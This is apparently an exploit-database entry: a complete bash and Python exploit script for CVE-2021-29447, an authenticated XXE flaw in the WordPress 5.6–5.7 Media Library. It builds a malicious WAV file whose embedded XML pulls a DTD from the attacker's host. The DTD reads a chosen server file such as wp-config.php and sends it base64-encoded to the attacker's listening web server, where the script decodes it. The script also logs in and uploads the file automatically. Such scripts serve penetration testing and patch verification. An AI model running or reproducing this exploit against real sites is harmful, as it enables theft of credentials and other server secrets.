1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 |
# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated) # Date: 16/09/2021 # Exploit Author: David Utón (M3n0sD0n4ld) # Vendor Homepage: https://wordpress.com # Affected Version: WordPress 5.6-5.7 & PHP8 # Tested on: Linux Ubuntu 18.04.5 LTS # CVE : CVE-2021-29447 #!/bin/bash # Author: @David_Uton (m3n0sd0n4ld) # Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST # Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php 10.11.XX.XX # Variables rHost=$1 username=$2 password=$3 readFile=$4 lHost=$5 # Functions # Logotype logoType(){ echo " ===================================== CVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated) ------------------------------------- @David_Uton (M3n0sD0n4ld) https://m3n0sd0n4ld.github.io/ =====================================" } # Create wav malicious wavCreate(){ echo -en "RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version='1.0'?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://$lHost:8000/xx3.dtd'>%remote;%init;%trick;]>\x00" > payload.wav && echo "[+] Create payload.wav" } # Create xx3.dtd dtdCreate(){ cat <<EOT > xx3.dtd <!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=$readFile"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://$lHost:8000/?p=%file;'>" > EOT } # wav upload wavUpload(){ cat <<EOT > .upload.py #/usr/bin/env python3 import requests, re, sys postData = { 'log':"$username", 'pwd':"$password", 'wp-submit':'Log In', 'redirect_to':'http://$rHost/wp-admin/', 'testcookie':1 } r = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL == verify=True cookies = r.cookies print("[+] Getting Wp Nonce ... ") res = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies) wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text) if len(wp_nonce_list) == 0 : print("[-] Failed to retrieve the _wpnonce") exit(0) else : wp_nonce = wp_nonce_list[0] print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce) print("[+] Uploading the wav file ... ") postData = { 'name': 'payload.wav', 'action': 'upload-attachment', '_wpnonce': wp_nonce } wav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))} r_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData, files=wav, cookies=cookies) if r_upload.status_code == 200: image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0] _wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0] print('[+] Wav uploaded successfully') else : print("[-] Failed to receive a response for uploaded! Try again . \n") exit(0) EOT python3 .upload.py } # Server Sniffer serverSniffer(){ statusServer=$(python3 -m http.server &> http.server.log & echo $! > http.server.pid) } # Load file and decoder loadFile(){ content="http.server.log" wavUpload while : do if [[ -s $content ]]; then echo "[+] Obtaining file information..." sleep 5s # Increase time if the server is slow base64=$(cat $content | grep -i '?p=' | cut -d '=' -f2 | cut -d ' ' -f1 | sort -u) # Check file exists echo "<?php echo zlib_decode(base64_decode('$base64')); ?>" > decode.php sizeCheck=$(wc -c decode.php | awk '{printf $1}') if [[ $sizeCheck -gt "46" ]]; then php decode.php else echo "[!] File does not exist or is not allowed to be read." fi break fi done } # Cleanup cleanup(){ kill $(cat http.server.pid) &>/dev/null rm http.server.log http.server.pid &>/dev/null rm xx3.dtd payload.wav .upload.py decode.php .cookies.tmp &>/dev/null } # Execute logoType # Checking parameters if [[ $# -ne 5 ]];then echo "[!] Parameters are missing!!!" echo "" echo "$ ./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST" else # Test Connection... echo "[*] Test connection to WordPress..." # WP Auth authCheck=$(curl -i -s -k -X $'POST' \ -H "Host: $rHost" -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H "Referer: http://$rHost/wp-login.php" -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 79' -H "Origin: http://$rHost" -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \ -b $'wordpress_test_cookie=WP%20Cookie%20check' \ --data-binary "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ "http://$rHost/wp-login.php" > .cookies.tmp) auth=$(head -n 1.cookies.tmp | awk '{ printf $2 }') # Running authentication with WordPress. if [[ $auth != "302" ]]; then echo "[-] Authentication failed ! Check username and password" else echo "[+] Authentication successfull!!!" # Create wav & dtd file wavCreate dtdCreate serverSniffer loadFile cleanup fi fi |